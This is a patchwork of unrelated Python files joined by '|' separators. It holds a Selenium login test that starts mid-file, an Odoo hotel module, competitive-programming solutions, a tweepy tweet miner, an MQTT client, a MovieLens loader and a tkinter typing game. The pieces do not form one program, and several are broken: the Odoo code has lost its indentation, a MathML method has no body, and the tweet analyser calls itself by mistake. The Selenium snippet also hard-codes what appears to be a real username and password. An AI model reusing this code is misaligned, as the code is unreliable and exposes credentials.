waitutil.frametobeavailableandswitchtolt("xpath",'//*[@id = "loginDiv"]/iframe')
#切换进入iframe框架
# driver.switch_to.frame(iframe)
time.sleep(2)
# inputEmail = input('请输入邮箱账号或手机号码:')
# inputpwd = input('请输入密码:')
#定位email文本框
email = getelement(driver,'xpath','//*[@name = "email"]')
#发送用户账号
email.send_keys('yp1311375671')
#定位密码框
password = getelement(driver,'xpath','//*[@name = "password"]')
#发送密码
password.send_keys('19930724')
time.sleep(1)
password.send_keys(Keys.ENTER)
time.sleep(3)
loginpass = getobject('id','spnUid')
logtext = loginpass.text()
assert user in logtext
print(u'登陆成功,登陆用户为',logtext)
#获取email属性
#emailText = email.get_attribute('data-placeholder')
#打印属性值
#print(emailText)
driver.quit()
#title_is:判断当前页面的title是否等于预期
# title_contains:判断当前页面的title是否包含预期字符串
# presence_of_element_located:判断某个元素是否被加到了dom树里,并不代表该元素一定可见
# visibility_of_element_located:判断某个元素是否可见. 可见代表元素非隐藏,并且元素的宽和高都不等于0
# visibility_of:跟上面的方法做一样的事情,只是上面的方法要传入locator,这个方法直接传定位到的element就好了
# presence_of_all_elements_located:判断是否至少有1个元素存在于dom树中。举个例子,如果页面上有n个元素的class都是'column-md-3',那么只要有1个元素存在,这个方法就返回True
# text_to_be_present_in_element:判断某个元素中的text是否 包含 了预期的字符串
# text_to_be_present_in_element_value:判断某个元素中的value属性是否包含了预期的字符串
# frame_to_be_available_and_switch_to_it:判断该frame是否可以switch进去,如果可以的话,返回True并且switch进去,否则返回False
# invisibility_of_element_located:判断某个元素中是否不存在于dom树或不可见
# element_to_be_clickable - it is Displayed and Enabled:判断某个元素中是否可见并且是enable的,这样的话才叫clickable
# staleness_of:等某个元素从dom树中移除,注意,这个方法也是返回True或False
# element_to_be_selected:判断某个元素是否被选中了,一般用在下拉列表
# element_located_to_be_selected
# element_selection_state_to_be:判断某个元素的选中状态是否符合预期
# element_located_selection_state_to_be:跟上面的方法作用一样,只是上面的方法传入定位到的element,而这个方法传入locator
# alert_is_present:判断页面上是否存在alert
|
#!/usr/bin/env python
# omicron-server.py
#
# Copyright 2015 Tony Agudo <antoniusmisfit@gmail.com>
#
# This program is free software; you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation; either version 2 of the License, or
# (at your option) any later version.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program; if not, write to the Free Software
# Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston,
# MA 02110-1301, USA.
import SimpleHTTPServer
print '''
This script should only be used as a basic test for Omicron blog output
hosted on a server. It is recommended that more mature server software
such as Apache or NGINX be used for deployment.
'''
SimpleHTTPServer.test()
|
# -*- coding: utf-8 -*-
from odoo import models, fields, api, _
from odoo.exceptions import AccessError, UserError, ValidationError
from datetime import date, timedelta
import xlsxwriter
import io
import base64
import openpyxl
from pathlib import Path
import xlrd
from xlrd import open_workbook
class HotelRoom(models.Model):
_name = 'hotel.room'
_rec_name = 'room_type_id'
_rec_name = 'room_no'
room_no = fields.Char('Room Number', readonly=True, required=True, index=True, default='New')
room_type_id = fields.Many2one('room.type', string='Room Type Id')
floor = fields.Selection([('one', '1'), ('two', '2'), ('three', '3')], string='Floor')
room_size = fields.Integer('Room Size')
inquiry_id = fields.Many2one('hotel.inquiry', 'Inquiry')
book_room = fields.Boolean('Room Book')
price = fields.Integer('Price')
room_state = fields.Selection([
('draft', 'Draft'),
('allocated', 'Allocated')
], default='draft')
def allocated_progressbar(self):
for rec in self:
rec.room_state = 'allocated'
@api.model
def create(self, vals):
if vals.get('room_no', 'New') == 'New':
vals['room_no'] = self.env['ir.sequence'].next_by_code('hotel.room') or 'New'
result = super(HotelRoom, self).create(vals)
return result
def get_registration(self):
print("----->\n\n\n\n\n")
self.ensure_one()
return {
'type': 'ir.actions.act_window',
'name': 'Registration',
'view_type': 'form',
'view_mode': 'tree',
'res_model': 'hotel.registration',
'domain': [('line_ids.room_id', '=', self.id)],
}
def get_inquiry(self):
self.ensure_one()
return {
'type': 'ir.actions.act_window',
'name': 'Inquiry',
'view_type': 'form',
'view_mode': 'tree',
'res_model': 'hotel.inquiry',
# 'domain': [('line_ids.room_id', '=', self.id)],
}
class HotelRegistration(models.Model):
_name = 'hotel.registration'
_rec_name = 'name'
name = fields.Char('Name')
register_no = fields.Char('Register Number', readonly=True, required=True, index=True, default='New')
phone = fields.Integer('Contact Number')
dob = fields.Date('Birth Date')
doc_ids = fields.One2many('register.document', 'registration_id', string='Documents', required=True)
date_from = fields.Date('Start Date')
date_to = fields.Date('End Date')
total = fields.Float('Total')
state = fields.Selection([
('draft', 'Draft'),
('process', 'Process'),
('done', 'Done'),
('cancel', 'Cancel')
], default='draft')
line_ids = fields.One2many('room.guest.line', 'reg_id', string='Room Customer Guest')
def done_progressbar(self):
for rec in self:
rec.state = 'done'
rec.line_ids.room_id.room_state = 'allocated'
def process_progressbar(self):
for rec in self:
rec.state = 'process'
def cancel_progressbar(self):
for rec in self:
rec.state = 'cancel'
def action_registration_send(self):
''' Opens a wizard to compose an email, with relevant mail template loaded by default '''
self.ensure_one()
ir_model_data = self.env['ir.model.data']
try:
template_id = self.env['ir.model.data'].xmlid_to_res_id('hotel_management.email_template_reg',
raise_if_not_found=False)
print(template_id, "template_id\n\n\n\n\n")
except ValueError:
print("\n\n\n\n value error \n\n\n\n\n\n")
template_id = False
try:
compose_form_id = ir_model_data.get_object_reference('mail', 'email_compose_message_wizard_form')[1]
except ValueError:
compose_form_id = False
ctx = {
'default_model': 'hotel.registration',
'default_res_id': self.ids[0],
'default_use_template': bool(template_id),
'default_template_id': template_id,
'default_composition_mode': 'comment',
}
return {
'name': _('Compose Email'),
'type': 'ir.actions.act_window',
'view_mode': 'form',
'res_model': 'mail.compose.message',
'views': [(compose_form_id, 'form')],
'view_id': compose_form_id,
'target': 'new',
'context': ctx,
}
@api.model
def create(self, vals):
if vals.get('register_no', 'New') == 'New':
vals['register_no'] = self.env['ir.sequence'].next_by_code('hotel.registration') or 'New'
result = super(HotelRegistration, self).create(vals)
return result
@api.model
def _registration_cancel(self):
print("--\n\n\n--->", self)
var = self.env['hotel.registration'].search([('state', '!=', 'done')])
for i in var:
if ((date.today()) - (i.create_date)) > timedelta(days=3):
i.state = 'cancel'
print("\n\n\n\n\n\n\n\n--")
print("\n\n\n\n\n\n\n\n--")
else:
print("\n\n\n\n\n\n\n\n--")
class RegisterDocument(models.Model):
_name = 'register.document'
name = fields.Char('Name')
date = fields.Date('Date')
doc = fields.Binary('Document', required=True)
registration_id = fields.Many2one('hotel.registration', string='Registration Id')
class RoomType(models.Model):
_name = 'room.type'
_rec_name = 'room_type'
room_type = fields.Char('Room Type')
class HotelInquiry(models.Model):
_name = 'hotel.inquiry'
_description = 'Inquiry about Hotel and Rooms Avaibility'
_rec_name = 'customer'
customer = fields.Many2one('res.partner', string='Customer', required=True)
start_date = fields.Date('Start Date')
end_date = fields.Date('End Date')
room_types = fields.Many2one('room.type', 'Room Type')
room_size_id = fields.Integer('Room Size')
room_ids = fields.One2many('hotel.room', 'inquiry_id', string='Room')
total_price = fields.Integer('Total Price', compute='compute_price')
@api.onchange('room_ids')
def compute_price(self):
total = 0
for record in self.room_ids:
if record.book_room:
total += record.price
self.write({
'total_price': total
})
def search_room_available(self):
check_room = self.env['hotel.room'].search(
[('room_state', '=', 'draft'), ('room_type_id', '=', self.room_types.id),
('room_size', '>=', self.room_size_id)])
print("\n\n\n\n\n---->", check_room)
if check_room:
self.room_ids = [(6, 0, [])]
print("-----t-->", self.room_ids)
self.write({'room_ids': check_room})
return
else:
raise ValidationError(_('No room Available'))
print("__________----------________________-------------________________----------_______________--")
def get_record(self):
records = self.env['hotel.inquiry'].browse('active_ids')
print("---------->", records)
res = []
for i in self:
for j in i.room_ids:
if j.book_room:
res.append({'room_id': j.id})
print("----------->", res)
contexts = {
'default_line_ids': res,
'default_name': self.customer.name,
'default_date_from': self.start_date,
'default_date_to': self.end_date,
'default_total': self.total_price
}
if records:
return {
'res_model': 'hotel.registration',
'type': 'ir.actions.act_window',
'context': contexts,
'view_mode': 'form',
'view_type': 'form',
'view_id': self.env.ref("hotel_management.registration_form_view").id,
'target': 'new'
}
class RoomGuestLine(models.Model):
_name = 'room.guest.line'
_description = 'Inquiry about customer and their guests Avaibility'
_rec_name = 'room_id'
room_id = fields.Many2one("hotel.room", 'Room')
guest_ids = fields.Many2many('res.partner', string='Guests')
reg_id = fields.Many2one('hotel.registration', 'Register Id')
class Registration(models.AbstractModel):
_name = 'report.hotel_management.report_registration'
_description = 'get values data'
def _get_method(self, doc):
print("---\\n\n\n\n\n---")
return "5"
@api.model
def _get_report_values(self, docids, data=None):
print("\n\n\n\n\n\n\n\n\n re")
docs = self.env['hotel.registration'].browse(docids)
return {
'doc_ids': docids,
'doc_model': 'hotel.registration',
'docs': docs,
'data': data,
'get_method': self._get_method,
}
class RegistrationReport(models.TransientModel):
_name = 'registration.report'
_description = 'Registration Xls Report'
start_date = fields.Date('Start Date')
end_date = fields.Date('End Date')
def generate_xlsx_report(self):
print("------------>", self)
output = io.BytesIO()
workbook = xlsxwriter.Workbook(output)
worksheet = workbook.add_worksheet()
cell_format = workbook.add_format()
number_format = workbook.add_format({'num_format': 'dd/mm/yyyy'})
cell_format.set_align('center')
cell_format.set_align('vcenter')
cell_format = workbook.add_format({'bold': True, 'font_color': 'black', 'bg_color': 'red'})
cell_format.set_italic()
cell_format.set_underline()
worksheet.write(0, 1, "Start Date", cell_format)
worksheet.write(0, 2, "End Date", cell_format)
worksheet.write(0, 3, "Register Number", cell_format)
worksheet.write(0, 4, "Customer", cell_format)
worksheet.write(0, 5, "Date of Birth", cell_format)
worksheet.write(0, 6, "Total", cell_format)
worksheet.set_row(0, 20)
worksheet.set_column('B:K', 20)
row = 1
col = 1
# Iterate over the data and write it out row by row.
records = self.env['hotel.registration'].search([
('date_from', '>=', self.start_date),
('date_to', '<=', self.end_date)
])
print("-------records------>", records)
for rec in records:
worksheet.write(row, col, rec.date_from, number_format)
print("-----start date----->", rec.date_from)
worksheet.write(row, col + 1, rec.date_to, number_format)
worksheet.write(row, col + 2, rec.register_no)
worksheet.write(row, col + 3, rec.name)
worksheet.write(row, col + 4, rec.dob, number_format)
worksheet.write(row, col + 5, rec.total, number_format)
row += 1
workbook.close()
output.seek(0)
attch = self.env['ir.attachment'].create(
{'name': 'Registrations.xlsx', 'datas': base64.b64encode(output.read())})
return {
'type': 'ir.actions.act_url',
'url': '/web/content/' + str(attch.id) + '?download=True',
'target': self
}
class ImportRoom(models.TransientModel):
_name = 'import.room'
file = fields.Binary(string='Upload File')
def get_room_data(self):
print(self.file)
nm = xlrd.open_workbook(file_contents=base64.decodebytes(self.file))
for sheet in nm.sheets():
for row in range(sheet.nrows):
if row != 0:
room_type_id = sheet.cell(row, 0).value
floor = sheet.cell(row, 1).value
room_size = sheet.cell(row, 2).value
room_state = sheet.cell(row, 3).value
price = sheet.cell(row, 4).value
self.env['hotel.room'].create({
'room_no': 'New',
'room_type_id': int(room_type_id),
'floor': str(floor),
'room_size': int(room_size),
'room_state': str(room_state),
'price': int(price)
})
else:
print("---\n\n\n\n\\n\n\n\n---")
class SaleOrder(models.Model):
_inherit = 'sale.order'
_description = 'Inherit sale order line and add button above order lines'
def get_line_wizard(self):
print("-------\n\n\n-->", self)
return {
'res_model': 'import.line',
'type': 'ir.actions.act_window',
'view_mode': 'form',
'view_type': 'form',
'view_id': self.env.ref("hotel_management.import_line_form_view").id,
'target': 'new'
}
class ImportLine(models.TransientModel):
_name = 'import.line'
document = fields.Binary(string='Upload File')
def get_import_line(self):
print(self.document)
ab = xlrd.open_workbook(file_contents=base64.decodebytes(self.document))
for sheet in ab.sheets():
for row in range(1, sheet.nrows):
product_name = sheet.cell(row, 0).value
desc = sheet.cell(row, 1).value
active = self.env.context.get('active_id')
exist = self.env['product.product'].search([(
'name', '=', product_name
)], limit=1)
if len(exist.ids) >= 1:
product = exist.id
else:
product = self.env['product.product'].create({
'name': str(product_name)
}).id
self.env['sale.order.line'].create({
"order_id": active,
"product_id": product,
"name": desc
})
|
import sys
sys.stdin = open("input.txt")
T = int(input())
def count_color() : # 줄별 색깔 갯수
white = [0] * N
blue = [0] * N
red = [0] * N
for y in range(N):
for x in range(M) :
tmp = inp_arr[y][x]
if tmp == "R" :
red[y] +=1
elif tmp == "B" :
blue[y] +=1
else :
white[y]+=1
return white, blue, red
def func() : # b,r 시작위치 ( w는 0 고정)
result = N * M # 나올 수 있는 최대 경우의 수로 초기화
white, blue, red = count_color() # 색깔 별 줄당 색깔 갯수
for b in range(1, N-1) :
for r in range(b+1, N) :
tmp_result =0
for w_line in range(0,b) : # 흰색 바꾸기
tmp_result+= M-white[w_line]
if tmp_result > result :
break
for b_line in range(b, r) : # 파란색 바꾸기
tmp_result += M - blue[b_line]
if tmp_result > result :
break
for r_line in range(r, N) : # 빨간색 바꾸기
tmp_result+= M - red[r_line]
if tmp_result > result :
break
if result > tmp_result :
result = tmp_result
return result
for tc in range(1, T+1):
# N : 줄
# M : 문자갯수
N, M = map(int, input().split())
inp_arr = [input() for _ in range(N)]
result = func()
print("#{} {}".format(tc, result))
|
#!/usr/bin/env python
# encoding: utf-8
"""
@author: Wayne
@contact: wangye.hope@gmail.com
@software: PyCharm
@file: Minimum Difference Between Largest and Smallest Value in Three Moves
@time: 2020/07/11 22:44
"""
class Solution:
def minDifference(self, nums: list) -> int:
if len(nums) <= 4: return 0
nums.sort()
return min(
nums[-1] - nums[3], nums[-4] - nums[0],
nums[-2] - nums[2], nums[-3] - nums[1]
)
|
# -*- coding: utf-8 -*-
# Домашнее задание. Лучше если каждая задачка будет оформлена в виде одного файла .py
# 2) min/max
# написать программу найти макс и мин элемент в массивее - сделать через цикл
# a=[1,7,13,-2,7 ....] #len (a)==10
a = [int(i) for i in input().split()]
#a = []
min = a[0]
max = a[0]
for i in range(1,len(a)):
if a[i] > max:
max = a[i]
elif a[i] < min:
min = a[i]
print(max, min)
|
# from rest_framework import serializers
# from models import *
#
# class DoctorSerializer(serializers.ModelSerializer):
# class Meta:
# model = Doctor
#
#
# class UserInfoSerializer(serializers.ModelSerializer):
# class Meta:
# model = UserInfo
#
#
# class ReviewSerializer(serializers.ModelSerializer):
#
# class Meta:
# model = Review
#
#
# class AppointmentSerializer(serializers.ModelSerializer):
#
# class Meta:
# model = Appointment
#
#
# class UserSerializer(serializers.ModelSerializer):
#
# class Meta:
# model = User |
from lxml import etree
class MathML2String:
def __is_leaf(self, mt_ele):
return len(mt_ele) == 0
def __prefix(self, mt_eles):
def __join_math_eles(self, mt_eles):
mt_str = mt_eles[0]["text"]
for i in range(1, len(mt_eles)):
if mt_eles[i]["tag"] != "mo" and mt_eles[i-1]["tag"] != "mo":
mt_str = "%s*%s" % (mt_str, mt_eles[i]["text"])
else:
mt_str = "%s%s" % (mt_str, mt_eles[i]["text"])
return "(%s)" % mt_str
def __create_prefix_notation(self, mt_eles, function_name):
return "%s(%s)" % (function_name, ",".join([item["text"] for item in mt_eles]))
def __walk_mathml(self, mt_xml):
temp_flat = []
if self.__is_leaf(mt_xml): return mt_xml.xpath("local-name()"), (mt_xml.text if mt_xml.text != "" else "*") #handle invisible multiplication
contain_operator = False
for ele in mt_xml:
ele_tag, ele_text = self.__walk_mathml(ele)
if ele_tag == "mo": contain_operator = True
temp_flat.append({"tag": ele_tag, "text": ele_text})
if contain_operator: return "mi", self.__join_math_eles(temp_flat)
return "mi", self.__create_prefix_notation(temp_flat, mt_xml.xpath("local-name()"))
def convert(self, mt_xml):
tag, mt_flat = self.__walk_mathml(mt_xml if mt_xml is etree.Element else mt_xml.getroot())
return mt_flat
#m = """<math xmlns='http://www.w3.org/1998/Math/MathML'>
# <msup>
# <mi>a</mi>
# <mn>2</mn>
# </msup>
# <mo>+</mo>
# <mfrac>
# <msqrt>
# <mi>b</mi>
# </msqrt>
# <mi>c</mi>
# </mfrac>
#</math>"""
#
#m2 = """<math xmlns='http://www.w3.org/1998/Math/MathML'>
# <msup>
# <mi>a</mi>
# <mn>2</mn>
# </msup>
# <mo>+</mo>
# <mi>b</mi>
#</math>"""
#
#print(convert(etree.fromstring(m)))
#print
#print(convert(etree.fromstring(m2)))
|
import pyttsx3
engine=pyttsx3.init('sapi5')
voices=engine.getProperty('voices')
engine.setProperty('voice',voices[0].id)
engine.say('hello')
engine.runAndWait() |
# vim: ts=2:sw=2:tw=80:nowrap
import re
from .register import register_converter
def to_0_1_6( vardict ):
"""
Convert configuration data from version 0.1.5 to 0.1.6
"""
from ...processor import messages as msg
msg.info('Converted configuration file from version '
'<span color="red">0.1.5</span> to version '
'<span color="blue">0.1.6</span>\n' \
'<span color="green">Changes:</span>' \
' Multiple waveforms now possible.\n' \
, buttons='ok', ignore_result=True)
vardict['waveforms'] = {
'current_waveform' : 'Default',
'waveforms' : {
'Default' : vardict['waveforms'],
},
}
return vardict
register_converter( '0.1.5', '0.1.6', to_0_1_6 )
|
from dataclasses import dataclass
from opsi.manager.manager_schema import Function
from opsi.util.cv import MatBW
__package__ = "opsi.mask"
__version__ = "0.123"
class Erode(Function):
@dataclass
class Settings:
size: int
@classmethod
def validate_settings(cls, settings):
if settings.size < 0:
raise ValueError("Size cannot be negative")
return settings
@dataclass
class Inputs:
imgBW: MatBW
@dataclass
class Outputs:
imgBW: MatBW
@classmethod
def _impl(cls, imgBW, size):
return imgBW.erode(size)
def run(self, inputs):
imgBW = self._impl(inputs.imgBW, self.settings.size)
return self.Outputs(imgBW=imgBW)
class Dilate(Erode):
@classmethod
def _impl(cls, imgBW, size):
return imgBW.dilate(size)
class Invert(Function):
@dataclass
class Inputs:
imgBW: MatBW
@dataclass
class Outputs:
imgBW: MatBW
def run(self, inputs):
imgBW = inputs.imgBW.invert
return self.Outputs(imgBW=imgBW)
class Join(Function):
@dataclass
class Inputs:
imgBW1: MatBW
imgBW2: MatBW
@dataclass
class Outputs:
imgBW: MatBW
def run(self, inputs):
imgBW = MatBW.join(inputs.imgBW1, inputs.imgBW2)
return self.Outputs(imgBW=imgBW)
|
# -*- coding: utf-8 -*-
"""
Created on Sat Feb 10 18:23:50 2018
@author: faraz
"""
import tweepy
from tweepy import OAuthHandler
import json
import argparse
import urllib.request
import os
import operator
from collections import Counter
from nltk.corpus import stopwords
import string
import streamListener as sl
import tokenizer as t
consumer_key = 'Consumer_key'
consumer_secret = 'Consumer_secret'
access_token = 'acc_token'
access_secret = 'acc_secret'
auth = OAuthHandler(consumer_key, consumer_secret)
auth.set_access_token(access_token, access_secret)
api = tweepy.API(auth)
def process_or_store(tweet):
print(json.dumps(tweet))
def clearExistingFiles(user):
if user is not "None":
filename = user + "_tweet_dump.json"
minfilename = user + "_tweet_dump.min.json"
else:
filename = "tweet_dump.json"
minfilename = "tweet_dump.min.json"
open(filename, 'w').close()
open(minfilename, 'w').close()
def get_clArgs():
clArgs = argparse.ArgumentParser(description="Tweet miner.")
clArgs.add_argument("-f", "--filter",
dest="filter",
help="Trend Tweet stream filter. Must start with \'#\'.",
default="-") # To be implemented.
clArgs.add_argument("-u", "--user",
dest="user",
help="Get tweets of a certain user.",
default="None")
clArgs.add_argument("-p", "--photos",
dest="photos",
help="Set it 'True' to download photos. Default is 'False'.",
default="False")
clArgs.add_argument("-c", "--count",
dest="count",
help="Number of tweets to retrieve. Max is 100, Default is 25.",
default=25)
clArgs.add_argument("-d", "--download",
dest="download",
help="Download tweets.",
default="False") # To be implemented.
clArgs.add_argument("-s", "--separate",
dest="separate",
help="Stores tweets in seprate file. Use with download.",
default="False") # To be implemented.
return clArgs
def trendStream(trendFilter = '#duck'):
twitter_stream = sl.Stream(auth, sl.MyListener())
twitter_stream.filter(track=[trendFilter])
def getminTweet(tweet):
try:
media_url = tweet.entities['media'][0]['media_url']
except (AttributeError, KeyError):
media_url = None
tweet_min = {"time" : tweet.created_at.strftime("%A %d/%B/%Y at %I:%M:%S %p UTC +0000"),
"screen_name" : tweet.user.screen_name,
"username" : tweet.user.name,
"tweet" : tweet.text,
"media_url" : media_url,
"id_str" : tweet.id_str,
"user_id_str" : tweet.user.id_str}
return tweet_min
def generateJSON(tweet, mintweet, user, username):
if user:
filename = username + "_tweet_dump.json"
minfilename = username + "_tweet_dump.min.json"
else:
filename = "tweet_dump.json"
minfilename = "tweet_dump.min.json"
with open(filename, 'a') as outfile:
json.dump(tweet._json, outfile)
outfile.write('\n')
with open(minfilename, 'a') as minoutfile:
json.dump(mintweet, minoutfile)
minoutfile.write('\n')
def textTokenize(text):
return t.preprocess(text)
def tweetAnalyizer(user): # To be worked on
if user is not "None":
minfilename = user + "_tweet_dump.min.json"
else:
minfilename = "tweet_dump.min.json"
with open(minfilename, 'r') as f:
for line in f:
tweet = json.loads(line)
tokens = tweetAnalyizer(tweet['tweet'])
# do_something_else(tokens)
def phraseCount(user):
punctuation = list(string.punctuation)
stop = stopwords.words('english') + punctuation + ['rt', 'via', 'RT', 'the', 'The']
if user is not "None":
fname = user + "_tweet_dump.min.json"
phraseCountLog = user + "_commonPhrases.txt"
else:
fname = "tweet_dump.min.json"
phraseCountLog = "commonPhrases.txt"
count_all = Counter()
with open(fname, 'r') as f:
for line in f:
# print("-------------------------------------")
# print(line)
# print("-------------------------------------")
tweet = json.loads(line)
# Create a list with all the terms
terms_stop = [term for term in textTokenize(tweet['tweet']) if term not in stop and len(term) > 2]
# Update the counter
count_all.update(terms_stop)
# Print the first 20 most frequent words
print(count_all.most_common(20))
with open(phraseCountLog, 'w') as f:
counter = 1
for phrase in count_all.most_common(20):
f.write(str(counter) + ": " + str(phrase) + "\n")
counter += 1
def tweetWalker(args):
if args.user is not "None":
for status in tweepy.Cursor(api.user_timeline, screen_name=args.user).items(int(args.count)):
# Process a single status
mintweet = getminTweet(status);
print(mintweet)
generateJSON(status, mintweet, True, mintweet['screen_name'])
if args.photos == "True" and mintweet['media_url'] != None:
directory = mintweet['screen_name'] + "_tweet"
if not os.path.exists(directory):
os.makedirs(directory)
urllib.request.urlretrieve(mintweet['media_url'], directory + "/" + mintweet['screen_name'] + "_" + mintweet['media_url'].split('/')[-1])
elif args.user is "None":
for status in tweepy.Cursor(api.home_timeline).items(int(args.count)):
# Process a single status
mintweet = getminTweet(status);
print(mintweet)
generateJSON(status, mintweet, False, None)
if args.photos == "True" and mintweet['media_url'] != None:
directory = mintweet['screen_name'] + "_tweet"
if not os.path.exists(directory):
os.makedirs(directory)
urllib.request.urlretrieve(mintweet['media_url'], directory + "/" + mintweet['screen_name'] + "_" + mintweet['media_url'].split('/')[-1])
# elif args.filter[0] is '#':
# trendStream(trendFilter=args.filter)
print("< |=== END ===| >")
def main():
directory = "mined_tweets"
if not os.path.exists(directory):
os.makedirs(directory)
os.chdir(directory)
args = get_clArgs().parse_args()
tweetWalker(args)
# tweetAnalyizer(args.user)
phraseCount(args.user)
if __name__ == '__main__':
main()
|
from bisect import bisect_left
# 最小の手数は、部分増加列に入っていないカードの枚数である
n = int(input())
c = []
ans = 0
for i in range(n):
c.append(int(input()))
dp = [10**10 for i in range(10**5)]
for i in range(n):
dp[bisect_left(dp, c[i])] = c[i]
print(n-bisect_left(dp, 10**10))
|
from django.db import models
from django.contrib.auth.models import AbstractUser
from django.db.models.signals import post_save
from django.dispatch import receiver
# Create your models here.
class CustomUser(AbstractUser):
user_type_data=((1,"Admin"),(2,"Orientador"),(3,"Aluno"))
user_type=models.CharField(default=1, choices=user_type_data,max_length=10)
# model do admin
class Admin(models.Model):
id=models.AutoField(primary_key=True)
admin=models.OneToOneField(CustomUser, on_delete=models.CASCADE)
objects=models.Manager()
# model dos docentes orientadores
class Orientador(models.Model):
id=models.AutoField(primary_key=True)
admin=models.OneToOneField(CustomUser, on_delete=models.CASCADE)
objects=models.Manager()
# model do aluno
class Aluno(models.Model):
id=models.AutoField(primary_key=True)
admin=models.OneToOneField(CustomUser, on_delete=models.CASCADE)
objects=models.Manager()
status=models.BooleanField(default=False)
# model das propostas
class Propostas(models.Model):
id=models.AutoField(primary_key=True)
titulo=models.CharField(max_length=255)
orientador_id=models.ForeignKey(Orientador, on_delete=models.CASCADE)
aluno_id = models.ForeignKey(Aluno, on_delete=models.SET_NULL, blank=True, null=True)
objetivos=models.TextField(default="")
areas_trabalho=models.TextField(default="")
tarefas=models.TextField(default="")
requisitos=models.CharField(max_length=255)
elem_avaliacao=models.TextField(default="")
resultados=models.CharField(max_length=255)
referencias=models.TextField(default="")
objects=models.Manager()
@receiver(post_save, sender=CustomUser)
def create_user_profile(sender,instance,created,**kwargs):
if created:
if instance.user_type==1:
Admin.objects.create(admin=instance)
if instance.user_type==2:
Orientador.objects.create(admin=instance)
if instance.user_type==3:
Aluno.objects.create(admin=instance)
@receiver(post_save, sender=CustomUser)
def save_user_profile(sender,instance,**kwargs):
if instance.user_type==1:
instance.admin.save()
if instance.user_type==2:
instance.orientador.save()
if instance.user_type==3:
instance.aluno.save()
|
import paho.mqtt.client as mqtt
import time
"""
Data: 27.09.2020
Author: Michael Wachl
Contact: wachlm@web.de
Project: Fleet Manager Coding Challenge
"""
class MQTTClient():
"""A simple class for mqqt clients
"""
def __init__(self):
self.client = mqtt.Client()
self.client.connected_flag = False
# self.broker = 'test.mosquitto.org'
self.broker = "mqtt.eclipse.org"
print("connecting to broker")
self.client.connect(self.broker, 1883, 60)
self.client.subscribe("knx/fleet_manager/robot_state")
# bind callbacks
self.client.on_connect = self.on_connect
self.client.on_disconnect = self.on_disconnect
self.client.on_message = self.on_message
self.client.on_publish = self.on_publish
# start loop for callbacks
self.client.loop_start()
while not self.client.connected_flag:
print("Waiting for connection to ", self.broker)
time.sleep(1)
def on_connect(self, client, userdata, flags, rc):
if rc == 0:
self.client.connected_flag = True
print("Client connected")
else:
print("Bad connection with returned code: ", rc)
def on_disconnect(self, client, userdata, flags, rc):
self.client.connected_flag = False
print("Client disconnected with returned code: ", rc)
def on_message(self, client, userdata, msg):
print("Message received-> " + msg.topic + " " + str(msg.payload))
def on_publish(self, client, userdata, result):
print("Data published") |
# code snippets that goes along with the 2_implicit.ipynb notebook
import os
import numpy as np
import pandas as pd
from subprocess import call
def create_rating_mat(file_dir):
"""create movielens rating matrix"""
# download the dataset if it isn't in the same folder
file_path = os.path.join(file_dir, 'u.data')
if not os.path.isdir(file_dir):
call(['curl', '-O', 'http://files.grouplens.org/datasets/movielens/' + file_dir + '.zip'])
call(['unzip', file_dir + '.zip'])
names = ['user_id', 'item_id', 'rating', 'timestamp']
df = pd.read_csv(file_path, sep = '\t', names = names)
# create the rating matrix r_{ui}, remember to
# subract the user and item id by 1 since
# the indices starts from 0
n_users = df['user_id'].unique().shape[0]
n_items = df['item_id'].unique().shape[0]
ratings = np.zeros((n_users, n_items))
for row in df.itertuples(index = False):
ratings[row.user_id - 1, row.item_id - 1] = row.rating
return ratings
def create_train_test(file_dir):
"""
split into training and test sets,
remove 10 ratings from each user
and assign them to the test set
"""
ratings = create_rating_mat(file_dir)
test = np.zeros(ratings.shape)
train = ratings.copy()
for user in range(ratings.shape[0]):
test_index = np.random.choice( np.flatnonzero(ratings[user]),
size = 10, replace = False )
train[user, test_index] = 0.0
test[user, test_index] = ratings[user, test_index]
# assert that training and testing set are truly disjoint
assert np.all(train * test == 0)
return train, test
if __name__ == '__main__':
file_dir = 'ml-100k'
train, test = create_train_test(file_dir)
train.head()
|
from tkinter import *
import random
from tkinter import messagebox
#WORDS FOR GAME
words = ['grapes','mango','laptop','television','toy','software','music','dance','helicopter','life','snake','jelly','hardware','live','drawing'
,'silly','stupid','jungle','college','team','dream','school','daily','household','technology','computer','art','doodle','happen','eyes'
,'skin','child','toffee','hustle','bustle','dreaming','hospital','hostel','entertainment','python','cobra','lion','successful','danger'
,'endangered','swift','leaf','edge','dog','snow','cartoon','swiggy','swirl','black','grey','pink','night','dusting','sleep','table','sanitizer'
,'mask','corona','movies','deaf','orange','personal','chair','canada','switzerland','distance','highway','india','new zealand','tokyo','money']
#FUNCTION
def labelSlider():
global count,sliderwords
text = 'WELCOME TO TYPING SPEED INCREASER GAME'
if(count >= len(text)):
count = 0
sliderwords=''
sliderwords += text[count]
count += 1
fontLabel.configure(text = sliderwords)
fontLabel.after(150,labelSlider)
def startGame(event):
global score,miss
if(timeleft==60):
timer()
gamePlayDetails.configure(text='')
if(wordEntry.get()==wordLabel['text']):
score+=1
scoreLabelCount.configure(text=score)
print('score:',score)
else:
miss+=1
print('miss:',miss)
random.shuffle(words)
wordLabel.configure(text=words[0])
wordEntry.delete(0,END)
def timer():
global timeleft,score,miss
if(timeleft>=11):
pass
else:
timeLabelCount.configure(fg='red')
if(timeleft>=0):
timeleft-=1
timeLabelCount.configure(text=timeleft)
timeLabelCount.after(1000,timer)
else:
gamePlayDetails.configure(text='Hit={} | Miss={} | Total Score={}'.format(score,miss,score-miss))
rr = messagebox.askretrycancel('Notificatioin','For play again Hit Retry button')
if(rr == True):
score = 0
timeleft = 60
miss = 0
timeLabelCount.configure(text=timeleft)
wordLabel.configure(text=words[0])
scoreLabelCount.configure(text=score)
#ROOT METHOD
root = Tk()
root.geometry('800x600+400+100')
root.configure(bg='yellow')
root.title('TYPING SPEED INCREASER GAME')
#VARIABLE
score=0
timeleft = 60
count = 0
sliderwords = ' '
miss = 0
#LABEL METHODS
fontLabel = Label(root,text=' ', font=('airal',20,'italic bold'),bg='black',fg='yellow',width = 45)
fontLabel.place(x=20,y=20)
labelSlider()
random.shuffle(words)
